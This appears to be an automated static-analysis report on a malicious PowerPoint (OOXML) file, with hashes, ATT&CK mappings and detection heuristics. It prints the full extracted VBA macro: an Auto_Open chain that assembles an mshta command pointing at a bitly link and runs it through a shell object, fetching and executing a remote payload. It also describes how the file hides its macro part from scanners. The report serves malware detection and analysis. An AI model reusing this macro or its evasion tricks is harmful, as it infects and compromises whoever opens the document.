Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2f37d734919c8770…

MALICIOUS

Office (OOXML)

10.9 KB First seen: 2026-06-05
MD5: ce2839d5810389d04aeb47e616072cfc SHA-1: 3eca169accdc343cba392c2e2ccc8586fc969e68 SHA-256: 2f37d734919c8770d17cb857e98dccabc65ba1255ead57bfa1623fc7895a9274
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro that is automatically executed upon opening (Auto_Open). The script constructs a URL by concatenating strings: "MsHt" + "a http://" + "bitly.com/asdasdasdqwfefwef", resulting in the URL "a http://bitly.com/asdasdasdqwfefwef". This URL is then passed to a function that ultimately uses GetObject to execute it, likely downloading and running a second-stage payload. The presence of the Auto_Open macro and the GetObject call strongly indicate a malicious intent to execute arbitrary code.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/bigbobas.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2486 bytes
SHA-256: bd64d8c4ab2804b9160d650239cc9524731eaa61109ec93bf0c9c1843dad5828
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module11"



Sub _
Auto_Open _
()


Dim _
obj _
As _
New _
Class111
   
obj _
. _
Minterger
   

End Sub

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Monas()

 Dim c As Collection
    Set c = New Collection
    c.Add "MsHt"
    c.Add "a http://"
    c.Add "bitly.com/asdasdasdqwfefwef"
    
    Dim dd1 As String
    Dim dd2 As String
    Dim dd3 As String
    i1 = 3: i2 = 1: i3 = 2
    dd1 = c.Item(i2)
    dd2 = c.Item(i3)
    dd3 = c.Item(i1)
    
    
    Dim obj As New Class2
    obj. _
    GetMoreModule (dd1 + dd2 + dd3)


End Sub
 

Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Function GetMoreModule(ByVal dd As String)

Dim obj As New Class12

obj. _
MainCallex. _
Run _
dd, 0


End Function

Attribute VB_Name = "Class11"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub mopas()

Dim obj As New Class1
obj _
. _
Monas


End Sub


Attribute VB_Name = "Class12"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Function MainCallex()

Set MainCallex = GetObject(("new:72C24DD5-D70A-438B-8A42-98424B88AFB8"))



End Function

Attribute VB_Name = "Class111"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Minterger()


Dim obj As New Class11

obj _
. _
mopas

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/bigbobas.b 28672 bytes
SHA-256: e60e5ecd25f9c660bf40fc7476a16dd3ef1f4ba3da9214f04dce8d007ba1492d